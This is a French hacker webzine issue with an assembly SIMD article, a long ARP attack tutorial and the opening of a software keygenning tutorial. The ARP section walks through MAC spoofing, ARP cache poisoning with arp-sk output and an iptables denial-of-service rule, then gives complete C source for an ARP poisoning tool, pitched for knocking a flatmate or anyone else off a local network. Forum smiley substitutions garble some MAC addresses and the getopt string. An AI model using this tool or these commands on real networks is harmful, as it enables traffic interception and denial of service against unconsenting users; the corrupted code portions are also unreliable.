Bienvenue dans ce premier numéro de ce magazine de N-PN !
Ce webzine sera le premier d'une longue lignée, du moins nous l'espérons, et a pour but de vous fournir des
articles de qualité, tout en essayant de se rendre accessible et compréhensible aux plus débutants
d'entre nous.
Comme vous pourrez le constater lors de la lecture, ce numéro est plus orienté vers le reverse-engineering
et la programmation avec le langage assembleur, bien que ce numéro comporte un article sur la stéganographie
ainsi que sur le protocole ARP, pour souffler un peu entre deux lignes d'assembleur.
Ce magazine est publié en HTML5, qui tient dans un fichier unique, afin d'éviter des étapes inutiles avant la lecture
et le rendre accessible depuis quel appareil mobile (smartphone, tablette, netbook...) capable de
supporter javascript et HTML5 (ce qui devrait être le cas). De plus, diffuser le zine sous cette forme permet d'éviter les
liens morts, étant donné que toutes les ressources (images, fichiers d'exemple) sont directement stockés dans le fichier html.
Avant de vous laisser découvrir le sommaire, je tiens particulièrement à remercier
spin, Luxerails, kallimero, fr0g, spartal1n qui ont rédigé les articles de ce zine, ainsi
que Booster2ooo, qui est a créé la maquette de ce webzine.
Ce court article, surtout théorique, présente d’une manière restreinte l’intérêt des instructions simd (Single Instruction Multiple Data) à celui qui programme déjà en assembleur – même à un débutant. Cet article n’est pas une initiation à la programmation avec simd, mais plutôt une discussion philosophique sur les bienfaits des extensions simd.
0x01 - Introduction
Aujourd’hui, l’intérêt de programmer en assembleur peut paraître assez moindre ; les compilateurs des langages haut-niveau produisent du code assez bon. Puis quand bien même un code généré par un compilateur ne serait pas aussi efficient qu’un code assembleur pensé par un humain, les machines de nos jours sont telles que la perte de performance serait trop infime pour que l’on s’en soucie. La question du pourquoi programmer ou continuer de programmer en assembleur fait l’objet d’un débat que je trouve tout-à-fait inintéressant. Programme en assembleur celui qui en a la volonté. Cependant, programmer en assembleur ne signifie pas programmer comme dans la pré-histoire.
De nos jours, les processeurs grand-public ne disposent plus d’instructions aussi primitives qu’on pourrait le croire – bien au contraire – et paradoxalement certaine de ces instructions sont moins primitives que des instructions d’un langage haut-niveau tel que le C.
0x02 - Il fut un temps
Tout au long de cet article nous parlerons de vecteurs. De ce pas, introduisons deux vecteurs tri-dimensionnels u et v, soient-ils :
→ ⎛ 42 ⎞ → ⎛ 4 ⎞
u = ⎜ 3 ⎟ et v = ⎜ 6 ⎟
⎝ 8 ⎠ ⎝ 1 ⎠
L’enjeu est le suivant : réaliser la somme des deux vecteurs u et v. Soit w le vecteur somme tel que :
Techniquement et plus concrètement, nos vecteurs auront des composantes de chacune un octet. Les lecteurs ayant déjà pratiqué l’assembleur auront une idée quant à la représentation de ces valeurs en mémoire.
u: db 42, 3, 8 ; vecteur u
v: db 4, 6, 1 ; vecteur v
w: rb 3 ; Reserve 3 Bytes
L’algorithme le plus simple qui soit pour effectuer la somme vectorielle en assembleur est le suivant : charger la première composante du vecteur u dans un registre – disons le registre AL –, lui additionner la première composante du vecteur v→. Placer le contenu du registre dans la mémoire allouée pour la première composante du vecteur w→. En faire de même pour les autres composantes. Voici le code correspondant :
mov al, [u]
add al, [v]
mov [w], al ; 1re composante de w calculée
mov al, [u+1]
add al, [v+1]
mov [w+1], al ; 2e composante de w calculée
mov al, [u+2]
add al, [v+2]
mov [w+2], al ; 3e composante de w calculée
u: db 42, 3, 8
v: db 4, 6, 1
w: rb 3
Par cette méthode, dite séquentielle, il nous est nécessaire d’user de neuf instructions afin d’effectuer notre addition vectorielle. Ce programme fonctionnerait parfaitement sur un processeur Intel 8086 datant de 1978. Ne vous-semblerait-il pas plus sage de trouver autre chose ?
0x03 - De nos jours
Depuis l’ère du calcul vectoriel « maison », les processeurs intègrent de nouvelles extensions prévu à ce type de calcul – les extensions simd (Single Instruction Multiple Data). Une extension est généralement le couple d’un jeu d’instructions et d’un jeu de registres, ces derniers ayant un usage en particulier. Les extensions simd furent dans un but de vectorisations des calculs. Le paradigme – s’opposant totalement avec le paradigme séquentiel – est le suivant : ayant une donnée multiple (un vecteur, une matrice), nous disposons d’instructions capable d’opérer sur la donnée multiple directement. En d’autre termes, le processeur sait ce qu’est un vecteur.
Les processeurs Intel et AMD se sont vus dotés de nouvelles extensions simd ces dernières années, notamment MMX (MultiMedia eXtensions) et SSE (Streaming Simd Extensions). Dans le présent article, seul un aperçu de l’extension MMX sera mis en application.
L’extension MMX, introduite avec le Pentium II en 1997, est composée d’un jeu d’une cinquantaine d’instructions, ainsi que huit registres 64 bits portant les noms : MM0, MM1, MM2, MM3, MM4, MM5, MM6 et MM7. Un seul de ces registre peut contenir une donnée multiple, soit une donnée de deux composantes de 32 bits, une donnée de quatre composantes de 16 bits ou bien une donnée de huit composantes de 8 bits.
Reprenons notre premier programme : l’addition des deux vecteurs u et v. MMX nous offre des instructions d’opération sur plusieurs composantes constituant la donnée d’un seul registre. En premier lieu, il nous faudrait avant tout pouvoir placer nos données dans ces fameux registre MMn. MMX propose alors deux instructions de déplacement de données – des instructions mov spéciales – qui sont movd (Move Doubleword – double mot de 32 bits) ou movq (Move Quadword – quadruple mot de 64 bits). Nous utiliserons évidemment l’instruction movd qui déplace 4 octets (32 bits). Nos vecteurs ayant seulement trois composantes d’un octet chacune, il nous suffira juste de définir une quatrième composante étant égale à 0.
Une telle instruction, comme nous nous en doutons, déplacera un vecteurs ayant une taille de 32 bits dans la partie basse d’un des registres MMn. La partie haute sera alors automatiquement mise à zéro.
Ici l’algorithme serait le suivant : placer un vecteur dans un registre MMn, placer l’autre vecteur dans le registre MMm, puis additionner les deux vecteurs. Remarquez que cette fois-ci nous parlons d’un vecteur comme étant une entité reconnue par le processeur, au même titre qu’un nombre, il n’y a plus de pointeur sur une chaîne de données.
L’extension MMX fournit diverses instructions d’addition, pour chaque cas. Le cas intéressant ici est l’instruction d’addition sur des composantes d’un octet : paddb. Il est important de noter que cette instruction effectue des additions sur des entiers non-signés, soit des entiers naturels.1
Ce programme compte ainsi quatre instructions dans le but de réaliser l’addition vectorielle. Il aurait été possible de réaliser le même programme de la façon suivante :
Dans le précédent programme, nous additionnons le vecteur dans MM0 directement avec un vecteur en mémoire. Nous avons donc implémenté notre addition vectorielle en seulement trois instructions. Souvenons-nous que le programme séquentiel en comptait neuf.
Le lecteur désireux de connaître l’extension MMX dans les moindres détails peut se reporter au chapitre 9, Programming With the Intel MMX Technology, du manuel Intel, volume 1 [2].
0x04 - Applications concrètes
Nous savons à présent implémenter une addition vectorielle. Programmer en assembleur de façon moderne est fort bien, mais encore faudrait-il pouvoir tirer profit de cette technologie dans des applications concrètes. Typiquement, les instructions simd voient leur utilité dans le traitement multimédia ou dans les jeux vidéos.
Simulation d’éclairage
Le produit scalaire (aussi connu sous le nom de dot product) est beaucoup utilisé par les logiciels de rendus 3D ; en simplifiant à outrance, une forme 3D sont un ensemble de facettes (qui constituent la surface de la forme). Afin de connaître l’éclairage que subit chaque facette, le logiciel effectuera des tests en fonction du vecteur normal (perpendiculaire) ni à chaque facette et du vecteur l qui représente la source d’éclairage. Le sens du vecteur l indiquera le sens où l’éclairage se propage.
Le résultat du produit scalaire d’un vecteur ni et du vecteur l (notée ni·l) sera un paramètre influant sur l’intensité de l’éclairage d’une facette.
L’extension SSE4.1, introduite en 2007, nous offre justement deux instructions de produit scalaire sur les vecteurs : dpps pour la précision simple et dppd pour la précision double. Voilà qui peut être utile, aussi bien dans un jeu vidéo que dans un logiciel de modélisation tel que Blender.
Traitement d’image
Considérons une image matricielle, étant donc une grille de pixels. Il est intéressant, par exemple lors d’un éclaircissement sur l’image entière, de pouvoir effectuer l’opération sur plusieurs pixels en même temps, au lieu d’opérer pixel par pixel.
0x05 - Comparaison avec gcc
Nous implémentons à présent l’addition vectorielle en langage C, que nous compilerons avec gcc 4.6.2, dernière version à ce jour. Nous pourrons demander à gcc d’utiliser l’extension MMX – sinon il est clair que le programme assembleur sera plus efficient – grâce à la suivante commande : gcc -mmmx -masm=intel -S. Les options -S et -masm=intel spécifient que nous désirons obtenir le code assembleur généré, en syntaxe Intel. l’option -mmmx indique, évidemment, que gcc devra générer du code avec des instructions MMX, appelée MMX built-in function par la documentation gcc. Normalement, gcc aura recours à la fonction v8qi __builtin_ia32_paddb (v8qi, v8qi) si il est aussi futé qu’un humain. [1]. Voici le code :
Sans compter le prologue et l’épilogue de fonction, nous avons vingt instructions nécessaires pour effectuer l’addition vectorielle. Non, cela n’est pas un troll ; souvenez-vous, la différence de performance entre le code de gcc et le code humain est infime, de nos jours.
0x06 - Conclusion
De nos jours, nous pouvons en effet nous passer de tout programmer en assembleur. Mais les extensions simd sont tellement magiques et puissantes qu’il serait dommage de ne pas en faire usage, d’autant plus que les compilateurs ont visiblement du mal à générer du code simd pour l’instant.
Formellement, un entier non-signé est un entier dans un ensemble E ⊂ ℕ tel que : E = { n ∣ n ≤ 2p−1 } où p est le nombre de bits sur lequel on représente le nombre.
> Toutes les possibilités de l'ARP
Auteur: spartal1n
En bref, le protocole ARP (Address Resolution Protocol) permet de faire correspondre adresses IP et adresses physiques (appelées adresses MAC) sur un réseau local (LAN). Les attaques via ce protocole sont connues mais néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. Cet article va donc vous permettre de les connaître. Je décline donc responsabilité devant toutes utilisations mal intentionnés.
0x01 - Introduction
Le modèle OSI a été défini par l’International Standardization Organisation (ISO) afin de mettre en place un standard de communication entre les ordinateurs d’un réseau, il comporte sept couches que je ne developperai pas. Nous allons uniquement nous intéresser aux couches dites basses:
la couche liaison (niveau 2) sert d’interface entre la carte réseau et méthode d’accès.
la couche réseau (niveau 3) gère l’adressage logique et le routage.
Au niveau 2, les protocoles permettent la transmission des données en s’adaptant aux particularités du
support physique (802.3, Ethernet, wireless, token ring, et de nombreux autres encore). A chaque support
correspond une trame spécifique et un adressage associé. Le terme adresse MAC (Medium Access Control)
désigne une adresse physique, indépendamment du support physique : il s’agit donc des adresses de
niveau 2. Les protocoles de niveau 3 suppriment les différences qui existent aux niveaux inférieurs.
0x02 - Protocole Ethernet
Actuellement, la plupart des réseaux locaux (LAN, Local Area Network) reposent sur une couche
physique Ethernet. Ce protocole se retrouve également dans la couche liaison.
La structure d’une trame Ethernet :
les adresses Ethernet s’écrivent sur 6 octets (48 bits) en notation héxadécimale, séparés par le caractère ’:’ (’-’ sur Windows) :
les 3 premiers octets correspondent à un code constructeur (3Com, Sun, ...)
les 3 derniers octets sont attribués par le constructeur.
Ainsi, une adresse Ethernet est supposée être unique. Sous Unix, la commande ifconfig révèle
l’adresse Ethernet associée à une carte :
# sous Linux
[spartal1n]$ /sbin/ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:90:27:6A:58:74
inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0
...
Remarque: FF:FF:FF:FF:FF:FF correspond à l’adresse de diffusion (broadcast) qui
permet d’envoyer un message à toutes les machines, et 00:00:00:00:00:00 est réservée.
On peut aussi modifier son adresse physique (MAC):
# sous Linux
[root@spartal1n]# ifconfig eth0 | grep HWaddr
eth1 Link encap:Ethernet HWaddr 00:10:A4:9B:6D:81
[root@spartal1n]# ifconfig eth0 down
[root@spartal1n]# ifconfig eth0 hw ether 11:22:33:44:55:66 up
[root@spartal1n]# ifconfig eth0 | grep HWaddr
eth1 Link encap:Ethernet HWaddr 11:22:33:44:55:66
Le type précise le protocole de niveau 3 qui est encapsulé dans le paquet, comme par exemple :
Les données occupent de 46 à 1500 octets. Le bourrage intervient lorsque le paquet encapsulé tient sur moins de 46 octets, comme c’est le cas des paquets ARP.
Cependant une trame Ethernet commence par sept octets codant la valeur 0xAA, suivi d’un huitième octet
valant 0xAB. Cet entête permet au matériel de se synchroniser, l’état de synchronisation étant atteint
lorsque le destinataire de la trame parvient à décoder correctement les deux derniers octets.
0x03 - Protocole ARP
Le protocole ARP (Address Resolution Protocol RFC 826) permet une correspondance dynamique entre adresses physiques et adresses logiques (adresses respectivement de niveau 2 et 3).
L’identificateur adresse physique détermine la configuration du champ longueur de l’adresse
physique. Ainsi une valeur de 1 indique un réseau Ethernet (10 Mbit/s), etc...
L’identificateur adresse logique indique le protocole pour lequel on recherche la correspondance à une adresse logique donnée. Dans le cas du protocole IP, ce champ vaut 0x0800.
Le champ longueur de l’adresse physique indique la longueur en octets de l’adresse MAC, soit 6 pour des adresses Ethernet.
Le champ longueur de l’adresse logique indique la longueur en octets de l’adresse logique, soit 4 pour des adresses IP.
Le code précise la nature du paquet, soit 1 pour une demande (request ou who-has) et 2 pour une
réponse (reply ou is at).
L’adresse physique de l’émetteur contient l’adresse Ethernet de l’émetteur. Dans le cas d’une réponse ARP, ce champ révèle l’adresse recherchée.
L’adresse logique de l’émetteur contient l’adresse IP de l’émetteur.
L’adresse physique du récepteur contient l’adresse Ethernet de l’émetteur de paquet. Dans le cas d’une demande ARP, ce champ est vide.
L’adresse logique du récepteur contient l’adresse IP du récepteur.
Le paquet ARP est ensuite encapsulé dans une trame Ethernet.
Lorsqu’une machine émet une trame sur le support physique, toutes les stations y étant connectées la reçoivent. Par la suite, la station doit être capable de déterminer si cette trame lui est destinée. Ainsi, un premier filtre gérant les trames émises et reçues par le système agit au niveau de la pile TCP/IP.
Il compare l’adresse MAC contenue dans une trame à celle associée à la carte réseau (nous sommes ici au
niveau 2 du modèle OSI). Si ces deux adresses sont identiques, la partie données de la trame est remontée
au niveau 3 pour traitement ultérieur. Dès lors, il est essentiel pour l’instigateur d’une communication de récupérer préalablement l’adresse MAC du destinataire. C’est là qu’intervient le protocole ARP. Chaque système dispose d’une table qui sauvegarde les correspondances (adresse MAC, adresse IP), c'est le cache ARP. Ainsi, une requête ARP est émise uniquement si le destinataire n’est pas présent dans la table.
La commande arp -a affiche le contenu de la table.
Comment rediriger le trafic ?
0x04 - Écoute de réseau (sniffing)
Lorsqu'on veut sniffer un réseau on pense tout de suite à Tcpdump ou Wireshark. Si cette technique est simple à mettre en oeuvre et extrêmement difficile à détecter lorsque le mécanisme
est mis en place dans une totale passivité, elle se trouve très vite confrontée à ses limites. D’une part, sur
un réseau commuté, chaque branche ne reçoit que les trames destinées à une adresse MAC qui y est
présente. De fait, l’utilisation de plus en plus courante de commutateurs (switch) Ethernet (de niveau 2)
réduit la portée d’une telle écoute aux seules trames destinées à la station espionne, ce qui, tout le monde
en conviendra, présente peu d’intérêt. D’autre part, les trames sniffées ne peuvent pas être détournées de
leur destination. Enfin une gestion parfois difficile d’enventuelles erreurs consécutives à l’introduction de données (gestion des numéros de séquence TCP) ou l’évincement d’une des deux parties (gestion des RST de TCP) peut devenir problématique...
0x05 - Usurpation d’adresse MAC (MAC spoofing)
Comme nous l’avons vu plus tôt, une trame Ethernet dispose d’un champ source et d’un champ
destination. Ces champs sont examinés par les commutateurs Ethernet pour, d’une part, choisir sur quel
port ils vont envoyer une trame reçue par examen de l’adresse MAC destination, et d’autre part mettre à
jour une table associant ses ports aux adresses MAC des différents postes par exament de l’adresse MAC
source. Cette table, appelée table CAM (Content Adressable Memory) dans la terminologie Cisco, contient
pour chaque port les adresses MAC des hôtes qui y sont connectés. Le contenu de cette table est mis à jour
dynamiquement pour permettre le changement de port d’un hôte par exemple.
L’usurpation d’adresse MAC vise à se servir de ce mécanisme de mise à jour pour forcer le commutateur à
croire que la station dont nous voulons écouter le trafic se trouve sur notre port. Le principe est simple :
nous envoyons une trame ayant pour adresse source l’adresse MAC de notre victime, et pour destination
notre adresse MAC. Le commutateur, en recevant cette trame, met sa table à jour en associant l’adresse
MAC de la victime à notre port. Dès lors, l’intégralité du trafic qui lui est destiné est dirigé sur notre port
et il ne nous reste plus qu’à le lire tranquillement.
Pour voir le trafic à destination du routeur, j'envoie donc des trames Ethernet dont l’adresse source est
52:54:05:FDBig GrinE:E5 et l’adresse destination 00:10:A4:9B:6D:81. Le commutateur met alors sa table CAM
à jour pour ajouter l’adresse MAC 52:54:05:FDBig GrinE:E5 au port auquel je suis connecté, et la supprime
du port auquel est connecté le routeur. Une représentation rapide de la table CAM est :
# Avant
Port | Adresse MAC
-------------------------
1 | 52:54:05:F4:62:30 # cible
2 | 52:54:05:FDBig GrinE:E5 # routeur
3 | 00:90:27:6A:58:74 # paul
4 | 00:10:A4:9B:6D:81 # spartal1n
#Après
Port | Adresse MAC
-------------------------
1 | 52:54:05:F4:62:30 # cible
2 |
3 | 00:90:27:6A:58:74 # paul
4 | 00:10:A4:9B:6D:81; 52:54:05:FDBig GrinE:E5 # spartal1n, routeur
Mais cette technique n'est pas à l'abri de problème car la victime émet encore des paquets, ce qui place le commutateur face à une situation conflictuelle : il reçoit la même adresse MAC sur deux ports différents. Selon le matériel utilisé et sa configuration, la réaction va d’une mise à jour
systématique de la table par le dernier paquet reçu à une désactivation administrative du port usurpant
l’adresse.
0x06 - Usurpation d’identité ARP (ARP spoofing)
Devant la limitation de l’usurpation d’adresse MAC en terme de détournement de trafic et de furtivité,
nous nous attaquons à la couche supérieure. Enfin, pas tout à fait à la couche supérieure, à savoir IP, mais
au mécanisme qui permet de faire la correspondance entre les adresses MAC et les adresses IP : ARP. En
effet, si nous arrivons à associer notre adresse MAC à l’adresse IP dont nous voulons obtenir le trafic,
nous aurons gagné.
Le cache ARP d’un hôte doit parfois être mis à jour : changement d’adresse IP d’une machine, changement de carte réseau suite à une panne, etc. Pour faire face à de tels changements, le cache observe
ce qu’il reçoit au niveau ARP pour tenir ses entrées à jour. Dans le cas qui nous intéresse, lorsqu’un hôte
reçoit une trame contenant une réponse ARP et que son cache contient une entrée correspondant à
l’adresse IP concernée par celle-ci, il met l’entrée à jour si les informations de son cache diffèrent de celle
contenue dans le paquet ARP. Ainsi, lorsque batman va recevoir la réponse de robin, il va mettre son
cache à jour et écraser l’entrée que nous venions juste de falsifier. Il est donc nécessaire d’envoyer des
réponses de manière continue afin que le cache conserve l’entrée falsifiée que nous voulons.
En outre, cette technique suppose que l’hôte visé ne possède pas d’entrée correspondant à l’adresse IP que
nous voulons falsifier, sans quoi aucune requête n’est émise. C’est malheureusement rarement le cas,
puisque les adresses les plus intéressantes sont des machines souvent interrogées par nos cibles
potentielles.
0x07 - Corruption de cache ARP (ARP cache poisoning)
L’idéal serait donc d’agir directement sur le cache ARP de notre cible, indépendament des requêtes qu’il
pourrait être amené à émettre. Pour y parvenir, nous devons être capables de réaliser deux opérations : la
création d’une entrée dans le cache et le mise à jour d’entrées existantes.
Pour créer efficacement une entrée dans le cache ARP d’une machine, l’idéal serait de l’amener à émettre
une requête en vue de communiquer avec l’adresse IP qui nous intéresse.
Ce comportement est extrêmement intéressant. Si je veux créer une entrée pour l’adresse IP de mon routeur
(192.168.1.2) correspondant à son adresse MAC (00:10:A4:9B:6D:81) dans le cache de ma cible, il me
suffit de lui envoyer une requête ARP, avec comme adresse MAC source la mienne et comme adresse
IP source celle du routeur. Cependant, une requête ARP est émise en diffusion, ce qui est assez embarassant
puisque la cible va voir passer cette requête.
Nous jouons donc sur la couche Ethernet, et envoyer notre requête en unicast, à destination de la cible. En effet, la couche ARP ne fait aucune vérification de cohérence entre les entêtes Ethernet et le contenu du message ARP.
[root@joker]# arp-sk -w -d cible -S routeur -D cible
+ Running mode "who-has"
+ IfName: eth0
+ Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
+ Source ARP IP : 192.168.1.2 (routeur)
+ Target MAC: 52:54:05:F4:62:30
+ Target ARP MAC: 00:00:00:00:00:00
+ Target ARP IP : 192.168.1.1 (cible)
--- Start sending --
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
--- batman (00:00:00:00:00:00) statistic ---
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP Who has 192.16.1.1 (00:00:00:00:00:00) ?
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Si on observe le cache ARP de la cible, on constate que :
# avant
[cible]$ arp -a
alfred (192.168.1.3) at 00:90:27:6a:58:74
# après
[cible]$ arp -a
routeur (192.168.1.2) at 00:10:a4:9b:6d:81
paul (192.168.1.3) at 00:90:27:6a:58:74
Nous avons donc réussi non seulement à créer une entrée pour le routeur dans le cache ARP de la cible sans que cette dernier n’ait initié la moindre requête, mais surtout, nous avons réussi à lui donner les valeurs qui nous intéressaient. À partir de maintenant, et jusqu’à ce que cette entrée se trouve mise à jour avec des valeurs différentes, lorsque la cible voudra envoyer un paquet IP au routeur, elle le placera dans une trame Ethernet qui nous sera destiné.
Maintenant que nous savons créer des entrées dans le cache ARP d’un hôte, nous nous intéressons à leur
mise à jour. Cela sert non seulement pour modifier une entrée existante, mais aussi pour nous garantir le
maintient de la valeur des entrées malgré d’éventuelles mises à jour ultérieures du cache.
Nous exploitons le mécanisme vu précédemment pour mettre à jour les entrées du cache. Supposons que
la cible posséde une entrée valide pour robin :
[cible]$ arp -a
routeur (192.168.1.2) at 52:54:05:fdBig Grine:e5
paul (192.168.1.3) at 00:90:27:6a:58:74
Pour mettre à jour cette entrée, nous envoyons à la cible une réponse ARP venant du routeur, mais associant son IP à notre adresse MAC :
[root@spartal1n]# arp-sk -r -d cible -S routeur -D cible
+ Running mode "reply"
+ IfName: eth0
+ Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
+ Source ARP IP : 192.168.1.2 (routeur)
+ Target MAC: 52:54:05:F4:62:30
+ Target ARP MAC: 52:54:05:F4:62:30
+ Target ARP IP : 192.168.1.1 (cible)
--- Start sending --
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP For 192.168.1.1 (52:54:05:F4:62:30)
192.168.1.2 is at 00:10:a4:9b:6d:81
--- batman (52:54:05:F4:62:30) statistic ---
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP For 192.168.1.1 (52:54:05:F4:62:30):
192.168.1.2 is at 00:10:a4:9b:6d:81
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Si nous regardons maintenant le cache ARP de batman, nous constatons la mise à jour de l’entrée :
[cible]$ arp -a
routeur (192.168.1.2) at 00:10:a4:9b:6d:81
paul (192.168.1.3) at 00:90:27:6a:58:74
Notre objectif est donc atteint. Pour maintenir ces valeurs dans le cache, il nous suffira de renouveler
régulièrement l’envoi de ces messages ARP. arp-sk, par défaut, envoie un message toutes les 5
secondes.
Remarque:
Une fois le cache polué, les trames que nous recevons sont semblables à celles que reçoit un routeur :
l’adresse MAC destination de la trame Ethernet n’est pas celle associée à l’adresse de destination du
paquet IP. Pour renvoyer les trames à leur destinataire légitime, il suffit donc d’activer le routage IP
sur le poste attaquant (echo 1 > /proc/sys/net/ipv4/ip_forward ).
0x08 - Les différentes attaques possibles
Écoute
Une fois qu’on a réussi à détourner le trafic émis par un hôte à destination d’un autre, la première chose
intéressante à faire est de regarder les données qui transitent avant de les renvoyer à leur véritable
destinataire. Nous réalisons donc un Man in the Middle.
Interception (proxying) et vol de connexion (hijacking)
À présent, nous sommes capables de réaliser des opération de détournement de flux gâce a notre Man in the Middle nous pouvons donc modifier ou extraire les données sans qu’aucune des deux parties ne s’en aperçoive. De plus si des systèmes de vérification d’intégrité simples comme CRC32, MD5 ou SHA1
étaient mis en place nous pourrions les recalculer les sommes à la volée.
Passage de pare-feu par usurpation (spoofing)
En utilisant la possibilité de se faire passer pour un hôte quelconque du réseau auprès de la passerelle et le
concept d’interception de flux, nous pouvons initier des connexions vers le monde extérieur avec les listes
d’accès définies pour l’adresse usurpée. Ceci nous permet d’élever notre niveau de privilège pour les accès
réseau à travers un éventuel dispositif de filtrage (pare-feu, proxy).
Déni de service (DoS)
Il est très facile de réaliser des dénis de service en utilisant les attaques sur ARP. Il suffit de refuser les
paquets détournés :
[root@joker]# iptables -A FORWARD -p tcp -s routeur -d cible -j DROP
Pour le routeur, la cible est morte... Il est ainsi possible de rendre un serveur de domaines inaccessible à un hôte donné, de manière à se positioner comme serveur secondaire et proposer des mécanismes
d’authentification plus faibles.
0x09 - Conlusion
Le protocole Arp permet dans un réseau local de manipuler la plupart des communications, cependant des méthodes pour se protéger existe telles que un filtrage au niveau de l'ARP, ou un adressage Ip/ARP statique, d'un IDS(système de détection d'intrusion) surveillant le cache ARP ou encore l'utilisation d'authentification fore(SSL,etc...) J'espère donc que ce developpement du protocole ARP vous a intéresser, je joint à la fin de cet article un code vous permettant d'éjecter durant une période donnée une personne de votre réseau en utilisant le cahce poising. Dans le prochain article je developperai l'attaque Man in th Middle. Aller à tanto tout le monde !
PS: Pour tout renseignement, coquille ou autre je suis disponible via MP (message privé) ou sur l'irc #N-PN (irc.n-pn.info).
0x0A - Script d'ARP Poisoning
Commençons par installer l'environnement adapté: installer le paquet libnet-dev et supprimer les restrictions du noyau linux sur les requêtes ARP forgées.
Ce code d'ARP Poising a été créé par SpartAl1n. Je me suis inspiré de plusieurs sites pour obtenir après recroisement ce code. Il permet de forger des requêtes ARP ayant pour adresse Mac source votre interface réseau. Vous pouvez grâce à ce code rediriger des paquets pour par exemple éjecter une personne de votre réseau en le redirigeant sur votre machine.( coloc' qui utilise trop de bande passante). Je vous conseil de mettre dans comme adresse IP source l'IP de votre routeur ou de votre Box.
/*Correction des principaux problèmes:
* - Supprimer les entrées dans le cache ARP sinon on peut avoir une erreur car deux adresses ip
* seront liées pour la même ardesse Mac.
*
* arp -s (ajouter une entrée statique), exemple : arp -s 192.168.1.2 00:40:33:2D:B5Big GrinD
* arp -d (supprimer une entrée), exemple : arp -d 192.168.1.2
*
* - Supprimer la protection contre l'envoi de requête ARP (Variable sur 1):
* - Editer /proc/sys/net/ipv4/conf/all/arp_accept
* - Editer /proc/sys/net/ipv4/conf/eth1/arp_accept
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <libnet.h>
////////////////////////////// USAGE //////////////////////////////////////////
void usage (char *name)
{
printf ("%s - Send arbitrary ARP replies\n", name);
printf ("Usage: %s -s ip_address -t dest_ip\n", name);
printf (" -s IP address qu'on pense qu'on est\n");
printf (" -t IP address du destinataire\n");
printf (" -m Ethernet MAC address du destinataire\n");
exit (1);
}
///////////////////////////// MAIN /////////////////////////////////////////////
int main (int argc, char *argv[])
{
char o; /* Pour le processus d'option */
char *device = NULL; /* interface d'accès au réseau*/
in_addr_t ipaddr; /* Ip source du paquet*/
in_addr_t destaddr; /* IP du destinataire*/
u_int8_t *macaddr; /* Adresse Mac du destinataire */
libnet_t *l; /* libnet context */
struct libnet_ether_addr *hwaddr; /* Adresse Mac de la source(nous)*/
libnet_ptag_t arp = 0, eth = 0; /* Tag ARP protocol et Ethernet protocol*/
char errbuf[LIBNET_ERRBUF_SIZE]; /* messages d'erreur */
int r; /* generic return value */
int nb_paquet=0,i; /* Variable pour l'envoi des paquets*/
puts("Bienvenue dans le ARP Poising by SpartAl1n");
if(argc < 3)
usage (argv[0]);
while ((o = getopt (argc, argv, "i:tConfused:m:")) > 0)
{
switch (o)
{
case 'i':
device = optarg;
break;
case 's':
if ((ipaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid claimed IP address\n");
usage (argv[0]);
}
break;
case 't':
if ((destaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid destination IP address\n");
usage (argv[0]);
}
break;
case 'm':
if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
{
fprintf (stderr, "Error on MAC address\n");
usage (argv[0]);
}
break;
default:
usage (argv[0]);
break;
}
}
/* Ouverture du context libnet */
l = libnet_init (LIBNET_LINK, device, errbuf);
if (l == NULL)
{
fprintf (stderr, "Error opening context: %s", errbuf);
exit (1);
}
/* Récupération de l'adresse Mac de notre carte réseau*/
hwaddr = libnet_get_hwaddr (l);
///////////////////////// Fabrication de notre ARP header /////////////////////////
arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
(u_int8_t *) hwaddr, /* source hardware addr */
(u_int8_t *) &ipaddr, /* source protocol addr */
macaddr, /* target hardware addr */
(u_int8_t *) &destaddr, /* target protocol addr */
l); /* libnet context */
if (arp == -1)
{
fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l));
exit (1);
}
///////////////// Création de notre Ethernet Header /////////////////////////////
eth = libnet_build_ethernet (macaddr, /* destination address */
(u_int8_t *) hwaddr, /* source address */
ETHERTYPE_ARP, /* type of encasulated packet */
NULL, /* pointer to payload */
0, /* size of payload */
l, /* libnet context */
0); /* libnet protocol tag */
if (eth == -1)
{
fprintf (stderr,
"Unable to build Ethernet header: %s\n", libnet_geterror (l));
exit (1);
}
////////////////////////// Envoi des paquets ////////////////////////////////////
printf("Nombre de paquet voulu, 1 paquet= 2secondes :");
scanf("%d", &nb_paquet);
for(i=0; i < nb_paquet;i++)
{
/* Création des paquets */
if ((libnet_write (l)) == -1)
{
fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
exit (1);
}
puts("paquets envoyer");
sleep(2);
}
//////////////////////////Fermeture du programme proprement /////////////////////
/* Fermeture propre */
libnet_destroy (l);
return 0;
}
Voilà maintenant vous pouvez éjecter n'importe qui de votre réseau local durant la durée que vous avez décidé.
> Introduction au Keygenning sous Win32
Auteur: fr0g
Introduction
Bonjour, afin de suivre dans la lancée de mes premiers tutoriels sur le reversing pour n-pn, j’ai décidé d’en rédiger un sur le keygening.
En quoi consiste un Keygen ?
Je vois sur de plus en plus de forums/sites de h4xx0r de la morkitu, des programmes qu'ils créent, croyant faire des keygens, en programmant simplement une fenêtre assez jolie renvoyant un serial valide pour une application, pris au hasard dans une liste de serials dans leur programme.
Grosse erreur, le keygening ne consiste pas à répertorier des clés valides pour les redonner à l'utilisateur (on a inventé les fichiers texte pour ça :p ).
